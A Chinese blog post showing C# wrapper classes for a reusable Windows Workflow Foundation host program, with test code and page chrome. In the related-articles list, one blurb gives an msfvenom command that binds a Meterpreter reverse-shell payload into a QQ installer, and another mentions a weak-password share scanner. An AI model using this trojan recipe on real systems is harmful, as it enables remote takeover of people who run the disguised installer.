坚持学习WF(6):开发可复用的宿主程序

我们之前写工作流宿主程序一般都是直接写在program.cs文件里,这样复用性比较差。我们就简单的写两个类,这两个类主要实现的是对WorkflowInstance和WorkflowRuntime的封装。我们以后的例子都会使用这两个类。

第一个类是WorkflowInstanceWrapper,代码如下:


[Serializable]
    
public   class  WorkflowInstanceWrapper
    {
        
private  WorkflowInstance _workflowInstance;
        
private  ManualResetEvent _waitHandle  =   new  ManualResetEvent( false );
        
private  Dictionary < String, Object >  _outputParameters =   new  Dictionary
                < string ,  object > ();
        
private  Exception _exception;
        
private  String _reasonSuspended  =  String.Empty;

        
public  WorkflowInstanceWrapper(WorkflowInstance instance)
        {
            _workflowInstance 
=  instance;
        }        
        
public  Guid Id
        {
            
get
            {
                
if  (_workflowInstance  !=   null )
                   
return  _workflowInstance.InstanceId;
                
else
                   
return  Guid.Empty;
            }
        }        
        
public  Dictionary < String, Object >  OutputParameters
        {
            
get  {  return  _outputParameters; }
            
set  { _outputParameters  =  value; }
        }        
        
public  ManualResetEvent WaitHandle
        {
            
get  {  return  _waitHandle; }
            
set  { _waitHandle  =  value; }
        }        
        
public  Exception Exception
        {
            
get  {  return  _exception; }
            
set  { _exception  =  value; }
        }        
        
public  String ReasonSuspended
        {
            
get  {  return  _reasonSuspended; }
            
set  { _reasonSuspended  =  value; }
        }        
        
public  WorkflowInstance WorkflowInstance
        {
            
get  {  return  _workflowInstance; }
        }        
        
public   void  StopWaiting()
        {
            _waitHandle.Set();
        }
    }

1._exception,_reasonSuspended:表示当工作流非正常终止或挂起时的相关信息。
2. OutputParameters:用来接收工作流的输出参数,工作流运行时引擎将引发 WorkflowCompleted事件。
工作流运行时引擎将在WorkflowCompletedEventArgs 中传入工作流的所有输出参数。 这些参数包括工作
流的 out 和 ref 参数。
 

第二类是WorkflowManager代码如下:  

  public   class  WorkflowRuntimeManager : IDisposable
    {
        
private  WorkflowRuntime _workflowRuntime;
        
private  Dictionary < Guid, WorkflowInstanceWrapper >  _workflows
                               =   new  Dictionary < Guid, WorkflowInstanceWrapper > ();
      
        
public  WorkflowRuntimeManager(WorkflowRuntime instance)
        {
            _workflowRuntime 
=  instance;
            
if  (instance  ==   null )
            {
                
throw   new  NullReferenceException(
                    
" A non-null WorkflowRuntime instance is required " );
            }            
            SubscribeToEvents(instance);
        }

      
        
public  WorkflowInstanceWrapper StartWorkflow(Type workflowType,
            Dictionary
< String, Object >  parameters)
        {
            WorkflowInstance instance 
=  _workflowRuntime.CreateWorkflow(
                workflowType, parameters);
            WorkflowInstanceWrapper wrapper
                
=  AddWorkflowInstance(instance);
            instance.Start();
            
return  wrapper;
        }
        
        
public  WorkflowInstanceWrapper StartWorkflow(String markupFileName,
            String rulesMarkupFileName,
            Dictionary
< String, Object >  parameters)
        {
            WorkflowInstance instance 
=   null ;
            WorkflowInstanceWrapper wrapper 
=   null ;
            XmlReader wfReader 
=   null ;
            XmlReader rulesReader 
=   null ;
            
try
            {
                wfReader 
=  XmlReader.Create(markupFileName);
                
if  ( ! String.IsNullOrEmpty(rulesMarkupFileName))
                {
                    rulesReader 
=  XmlReader.Create(rulesMarkupFileName);
                    instance 
=  _workflowRuntime.CreateWorkflow( wfReader, rulesReader, parameters);
                }
                
else
                {
                    instance 
=  _workflowRuntime.CreateWorkflow(wfReader,  null , parameters);
                }
                wrapper 
=  AddWorkflowInstance(instance);
                instance.Start();
            }
            
finally
            {
                
if  (wfReader  !=   null )
                {
                    wfReader.Close();
                }
                
if  (rulesReader  !=   null )
                {
                    rulesReader.Close();
                }
            }
            
return  wrapper;
        }

       
public  WorkflowRuntime WorkflowRuntime
        {
            
get  {  return  _workflowRuntime; }
        }        
        
public  Dictionary < Guid, WorkflowInstanceWrapper >  Workflows
        {
            
get  {  return  _workflows; }
        }        
        
public   event  EventHandler < WorkflowLogEventArgs >  MessageEvent;    

       
        
public   void  ClearWorkflow(Guid workflowId)
        {
            
if  (_workflows.ContainsKey(workflowId))
            {
                _workflows.Remove(workflowId);
            }
        }
      
        
public   void  ClearAllWorkflows()
        {
            _workflows.Clear();
        }
       
        
private  WorkflowInstanceWrapper AddWorkflowInstance(
            WorkflowInstance instance)
        {
            WorkflowInstanceWrapper wrapper 
=   null ;
            
if  ( ! _workflows.ContainsKey(instance.InstanceId))
            {
                wrapper 
=   new  WorkflowInstanceWrapper(instance);
                _workflows.Add(wrapper.Id, wrapper);
            }
            
return  wrapper;
        }
     
        
public  WorkflowInstanceWrapper FindWorkflowInstance(Guid workflowId)
        {
            WorkflowInstanceWrapper result 
=   null ;
            
if  (_workflows.ContainsKey(workflowId))
            {
                result 
=  _workflows[workflowId];
            }
            
return  result;
        }
       
        
public   void  WaitAll(Int32 msecondsTimeout)
        {
            
if  (_workflows.Count  >   0 )
            {
                WaitHandle[] handles 
=   new  WaitHandle[_workflows.Count];
                Int32 index 
=   0 ;
                
foreach  (WorkflowInstanceWrapper wrapper
                    
in  _workflows.Values)
                {
                    handles[index] 
=  wrapper.WaitHandle;
                    index
++ ;
                }
                WaitHandle.WaitAll(handles, msecondsTimeout, 
false );
            }
        }
     
        
public   void  Dispose()
        {
            
if  (_workflowRuntime  !=   null )
            {
                _workflowRuntime.StopRuntime();
                _workflowRuntime.Dispose();
            }
            ClearAllWorkflows();
        }
      
        
private   void  SubscribeToEvents(WorkflowRuntime runtime)
        {
            runtime.Started 
+=   new  EventHandler < WorkflowRuntimeEventArgs > ( runtime_Started);
            runtime.Stopped 
+=   new  EventHandler < WorkflowRuntimeEventArgs > (runtime_Stopped);
            runtime.WorkflowAborted
+=  ......
            runtime.WorkflowCompleted
+=  ......
            runtime.WorkflowCreated  +=  ......    
            ............
        }

        
void  runtime_Started( object  sender, WorkflowRuntimeEventArgs e)
        {
            LogStatus(Guid.Empty, 
" Started " );
        }
        
void  runtime_Stopped( object  sender, WorkflowRuntimeEventArgs e)
        {
            LogStatus(Guid.Empty, 
" Stopped " );
        }
        
void  runtime_WorkflowCreated( object  sender, WorkflowEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowCreated " );
        }
        
void  runtime_WorkflowStarted( object  sender, WorkflowEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowStarted " );
        }
        
void  runtime_WorkflowIdled( object  sender, WorkflowEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowIdled " );
        }

        
void  runtime_WorkflowCompleted( object  sender, WorkflowCompletedEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowCompleted " );
            WorkflowInstanceWrapper wrapper
                
=  FindWorkflowInstance(e.WorkflowInstance.InstanceId);
            
if  (wrapper  !=   null )
            {
                wrapper.OutputParameters 
=  e.OutputParameters;
                wrapper.StopWaiting();
            }
        }

        
void  runtime_WorkflowTerminated( object  sender,
            WorkflowTerminatedEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowTerminated " );
            WorkflowInstanceWrapper wrapper 
=  FindWorkflowInstance(e.WorkflowInstance.InstanceId);
            
if  (wrapper  !=   null )
            {
                wrapper.Exception 
=  e.Exception;
                wrapper.StopWaiting();
            }
        }

        
void  runtime_WorkflowSuspended( object  sender, WorkflowSuspendedEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowSuspended " );
            WorkflowInstanceWrapper wrapper 
=  FindWorkflowInstance(e.WorkflowInstance.InstanceId);
            
if  (wrapper  !=   null )
            {
                wrapper.ReasonSuspended 
=  e.Error;
            }
        }

        
void  runtime_WorkflowResumed( object  sender, WorkflowEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowResumed " );
        }
        
void  runtime_WorkflowPersisted( object  sender, WorkflowEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowPersisted " );
        }
        
void  runtime_WorkflowLoaded( object  sender, WorkflowEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowLoaded " );
        }
        
void  runtime_WorkflowAborted( object  sender, WorkflowEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowAborted " );
            WorkflowInstanceWrapper wrapper
                
=  FindWorkflowInstance(e.WorkflowInstance.InstanceId);
            
if  (wrapper  !=   null )
            {
                wrapper.StopWaiting();
            }
        }

        
void  runtime_WorkflowUnloaded( object  sender, WorkflowEventArgs e)
        {
            LogStatus(e.WorkflowInstance.InstanceId, 
" WorkflowUnloaded " );
        }

        
private   void  LogStatus(Guid instanceId, String msg)
        {
            
if  (MessageEvent  !=   null )
            {
                String formattedMsg;
                
if  (instanceId  ==  Guid.Empty)
                {
                    formattedMsg 
=  String.Format( " Runtime - {0} " , msg);
                }
                
else
                {
                    formattedMsg 
=  String.Format( " {0} - {1} " , instanceId, msg);
                }
                
// raise the event
                MessageEvent( this ,  new  WorkflowLogEventArgs(formattedMsg));
            }
        }

    }   
    
public   class  WorkflowLogEventArgs : EventArgs
    {
        
private  String _msg  =  String.Empty;
        
public  WorkflowLogEventArgs(String msg)
        {
            _msg 
=  msg;
        }

        
public  String Message
        {
            
get  {  return  _msg; }
        }

1._workflows:一个key为Guid,value为WorkflowInstanceWrapper的字典。
2.SubscribeToEvent():给workflowRuntime订阅事件.
3.StartWorkflow():实现创建,开始工作流.
4.MessageEvent:对Message进行格式化。
5.WaitAll()用来挂起当前的线程直到所有的workflows完成,每个WorkflowInstanceWrapper有一个WaitHandle属性以便宿主程序能灵活控制。 

下面是测试代码:
using  (WorkflowRuntimeManager manager
        
=   new  WorkflowRuntimeManager( new  WorkflowRuntime( " WorkflowRuntime " )))
{
   manager.MessageEvent 
+=   delegate (Object sender, WorkflowLogEventArgs e)
   {
      Console.WriteLine(e.Message);
   };
   manager.WorkflowRuntime.StartRuntime();
   Dictionary
< String, Object >  wfArguments =   new  Dictionary < string ,  object > ();
   wfArguments.Add(
" InputString " ,  " one " );
   WorkflowInstanceWrapper instance 
=  manager.StartWorkflow(
           
typeof (SharedWorkflows.Workflow1), wfArguments);
   instance.WorkflowInstance.Terminate(
" Manually terminated " );
   instance.WaitHandle.WaitOne(
10000 ,  false );
   
foreach  (WorkflowInstanceWrapper wrapperin manager.Workflows.Values)
   {
       
if  (wrapper.OutputParameters.ContainsKey( " Result " ))
       {
            Console.WriteLine(wrapper.OutputParameters[
" Result " ]);
       }
       
if  (wrapper.Exception  !=   null )
       {
     Console.WriteLine(
" {0}-Exception:{1} " ,wrapper.Id,wrapper.Exception.Message);
       }
       
if  (wrapper.ReasonSuspended.Length  >   0 )
       {
    Console.WriteLine(
" {0}-Suspended: {1} " ,wrapper.Id, wrapper.ReasonSuspended);
       }
}    manager.ClearAllWorkflows();























下面运行结果,从该结果可以清晰的看出工作流的执行过程:


1
 上一篇: 
下一篇:
ECC 工作流推送落地实战: 通过定时运行 RSWNSEL 与 /IWWRK/R_WF_ITEM_SELECTION_GW 打通 SAP Gateway 通知全链路 摘要:本文详细介绍了在ECC SAP系统与消费端应用间建立工作流任务推送的完整流程。通过定时运行RSWNSEL和/IWWRK/R_WF_ITEM_SELECTION_GW两个标准报告(推荐每15分钟执行),系统可将Work Item转化为可消费的任务通知。文章涵盖变式创建、作业调度(SM36)、监控(SM37)等核心环节,并特别强调顺序执行的重要性。同时提供了订阅机制设置指南、常见问题排查清单和上线准备事项,确保工作流通知的实时性和可靠性。文末附可打印的操作清单,便于实施参考。 阅读详情

相关推荐

WF4工作流设计与实现详解

WF4(Workflow Foundation 4)是.NET平台中用于构建工作流应用程序的一个框架。它提供了一套丰富的API和运行时环境,允许开发者设计、执行和管理业务流程。WF4不仅简化了工作流的构建过程,还通过引入活动(Activity)概念和状态机工作流(StateMachineWorkflow)等特性,增强了工作的灵活性和可扩展性。内置活动是WF4框架中预定义的活动,它们直接提供了构建工作流所需的各种基本操作和控制结构。

weixin_42126677的博客 586

坚持学习WF(8):本地服务之调用外部方法

WF提供了一组核心服务,例如在SQL 数据库中存储工作流实例的执行详细信息的持久性服务,计划服务,事务服务和跟踪服务。除了这些WF也提供了另外一种服务,叫做Local Service也可以叫做Data exchange service。主要是实现工作流和宿主程序之间的通信,使工作流能够使用方法和事件通过消息与外部系统交互。 事件用于将数据发送到工作流,而工作流使用方法将数据发送到主机应用程序。 通...

fdqwfdsafdsa的博客 162

鸿蒙5应用真机调试超详细教程

本文详细介绍了鸿蒙5应用的真机调试全流程,包括开发环境搭建(安装DevEcoStudio、配置SDK)、真机调试准备(开启USB调试、配置自动/手动签名)、调试实战(生成HAP包、断点调试技巧)以及多设备协同调试方法。文中提供了设备连接、签名配置等常见问题的解决方案,并包含示例代码展示分布式设备联动功能。通过本教程,开发者可快速掌握鸿蒙5应用的调试技能,建议结合官方文档深入学习高级调试技巧。

2301_79392153的博客 2196

WF工作流开发回顾:介绍

  工作流这个词是去年11月才进入自己的大脑词汇,借着一点时间回顾下自己学习的过程,在这作个记录,希望和大家多多交流,里面的很多都是自己的片面之词,对于这么高科技的东西自己也没把握,还是希望多多指教,小弟感激不尽。   我是用的微软Workflow foundation作为基础框架来开发的,在这里还要提一下,工作流应该是属于一个抽象的名词,而微软的WF只是实现工作流的其中一种基础框架,所以理解这...

weixin_33749131的博客 159

避坑指南:PCIe设备兼容性那些坑——聊聊MPS/MRRS设置不当引发的血泪史

本文深入探讨了PCIe设备兼容性问题,特别是MPS/MRRS参数设置不当引发的常见故障。通过详细解析MPS(Max Payload Size)和MRRS(Max Read Request Size)的作用机制,提供Linux内核五大配置策略的对比分析,并分享FPGA加速卡等实战案例的排查经验。文章还介绍了诊断工具链、动态调试技巧以及性能优化方法,帮助工程师有效解决PCIe兼容性难题。

weixin_30872499的博客 419

嵌入式常用通信协议 #概述

嵌入式通信协议

AFK3060的博客 2116

坚持学习WF文章索引

出处:http://www.cnblogs.com/carysun/archive/2008/05/29/WF.html坚持学习WF(1):从HelloWorld开始 本文主要通过实现了一个可以接受参数的HelloWorld程序来了解WF。 坚持学习WF(2):WF创作模式和设计时工具 坚持学习WF(3):WF框架概览 2.3两篇主要全面的阐述了WF框架和Visual Studio对开发WF的

1114

msfconsole捆绑木马

捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面.

iuyoo的博客 8023

[转载]《博客园精华集》WF筛选结果(共39篇)

WF的权限与角色(2)管理权限体系 作者:WXWinter(冬)WF的权限与角色(3)一个简单的权限体系结构 作者:WXWinter(冬)WF的权限与角色(4)临时授权管理域 作者:WXWinter(冬)WF的异常捕获与资源补偿 作者:WXWinter(冬)工作流设计_时间引擎的例子 作者:WXWinter(冬)WF3.5 的SendActivity、ReceiveActivity与Workflo...

weixin_30631587的博客 108

四足狗机器人硬件开发技术栈详解

本文系统介绍了四足狗机器人的硬件开发技术,重点分析了五大核心模块:机械结构(骨架设计)、动力系统(关节驱动)、感知系统(环境监测)、控制系统(决策中枢)和电源系统(能源管理)。文章详细阐述了各模块的选型标准、技术要点和协同设计原则,提供了从需求定位到组装调试的完整开发流程,并针对常见问题给出解决方案。随着材料轻量化、模块标准化和AI集成化的发展趋势,四足机器人硬件将向更灵活、更智能的方向演进,为工业巡检、应急救援等场景提供更强大的移动平台支持。

start_up_go的博客 284

厉害了,华为推出下一代光传送网:fgOTN

2024年10月,在全球信息技术博览会(GITEX Global 2024)上,华为正式发布了其颠覆性的创新产品——端到端细粒度光传送网(fgOTN)解决方案。这一产品组合被誉为行业内首个fgOTN,旨在重塑光传送网络的格局,满足电力运输等行业日益增长的通信需求。在过去的近三十年中,同步数字体系(SDH)技术一直是电信和工业网络的支柱,因其可靠性、稳定性和低延迟而备受青睐。然而,随着数据需求的激增,SDH的最大带宽仅为10 Gbps,逐渐显露出局限性。

网络技术联盟站 636

索尼WF-1000XM5实测:降噪旗舰的真实体验与验证方法

主动降噪技术已成为真无线耳机的核心卖点,其原理是通过麦克风采集环境噪声,再以芯片生成反向声波进行抵消,从而在通勤、办公等嘈杂场景中营造安静空间。作为降噪耳机的代表性产品,索尼WF-1000XM5在延续这一技术路线的基础上,进一步优化了降噪深度、佩戴贴合度与通话拾音表现,并支持LDAC高清音频传输与多点连接,兼顾了音质与跨设备协作效率。本文从蓝牙连接、LDAC编解码器设置、降噪效果测试、通话质量验证等多个维度,梳理了一套可复用的工程化评测流程,帮助用户在没有专业设备的情况下,通过地铁通勤、办公室会议、户外风噪

weixin_29164843的博客 303

基于 PID 算法的 STM32 步进电机高精度位置控制系统设计与实现(工业自动化应用)

硬件层面:选用 STM32F103C8T6+A4988 + 欧姆龙编码器的组合,兼顾工业可靠性与成本,接线需注意强弱电分离和信号抗干扰;软件层面:核心为位置式 PID 闭环控制,Mermaid 流程图清晰展现 “采集 - 运算 - 驱动” 的闭环逻辑,代码模块化易移植;性能层面:无负载定位误差≤±1 脉冲,带载误差≤±3 脉冲,满足工业自动化高精度位置控制需求。

weixin_42300449的博客 194

TFS 2010架构演进:WF构建引擎与本地工作区的ALM范式升级

应用生命周期管理(ALM)是支撑企业级软件交付的核心体系,其本质在于将需求、开发、测试、发布等环节通过可配置、可审计、可追溯的平台实现流程固化。TFS 2010作为微软ALM战略的关键里程碑,首次以Windows Workflow Foundation(WF)替代MSBuild构建引擎,实现构建逻辑可视化、状态可观察;同时引入本地工作区(Local Workspace),推动TFVC向乐观并发模型演进,显著提升离线开发与跨时区协作效率。该版本还通过规则引擎驱动工作项流转,使Scrum等敏捷实践真正落地为系统

as2886089的博客 460

【YOLOv11】014、YOLOv11模型导出:PyTorch到ONNX格式转换与优化

摘要:本文详细介绍了如何将PyTorch训练的YOLOv11模型高效转换为ONNX格式。重点包括:分离模型特征提取与后处理、设置动态维度、优化ONNX算子、验证转换正确性等关键步骤。作者分享了实际项目中的经验教训,如版本对齐、算子兼容性处理、后处理分离等实用技巧,并推荐使用onnx-simplifier工具优化模型。文章强调模型转换是一个需要反复调试的过程,建议保留转换记录形成知识库,以提高部署效率并避免常见错误。

企鹅码农的专属播客,分享10多年的实战案例和经验解读,包含YOLO、RT-DETR、AI等各个工作领域。 305

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

MOSS 2010:Visual Studio 2010开发体验(26)——工作流开发概述

这一篇开始,我将介绍在MOSS 2010中进行工作流开发的最佳实践。这一篇主要介绍有关的几个概念 1.什么是工作流 工作流开发是这几年都比较火的一个领域。工作流,顾名思义就是工作的流程,而软件系统所要做的就是解决人们现实工作或者生活中的那些流程。所以从事实上说,任何软件系统都离不开工作流。 当然,工作流真正被广大开发人员所熟知,是因为.NET Framework 3.0中的Workflow Foundation(WF)。很显然,WF提供了一个前所未有的选择,就是它提供了运行时、可视化设计器、开箱即用的一些活

陈希章@中国 972

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

C Interfaces and Implementations:打造可复用代码的终极指南

**C Interfaces and Implementations** 是一个基于经典书籍《C Interfaces and Implementations: Techniques for Creating Reusable Software》实现的开源项目,旨在提供一套高质量的 C 语言接口和实现,帮助开发者构建模块化、可复用的软件系统。该项目由 David R. Hanson 开发,包含了丰

gitblog_00221的博客 371

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

揭秘Dify工作流导出机制:如何一键生成可复用JSON并提升开发效率

掌握Dify工作流JSON导出技巧,一键生成可复用配置,提升开发效率。适用于多环境部署与团队协作,支持可视化编辑后自动转换为标准JSON格式,便于版本管理与快速迁移。操作简单,结构清晰,值得收藏。

VarPerch的博客 873
上一篇: MOSS点滴(2):自定义Application Page
下一篇: MOSS点滴(3):说说MOSS中的母版页
fdqwfdsafdsa
博客等级 码龄18年 2粉丝 0原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值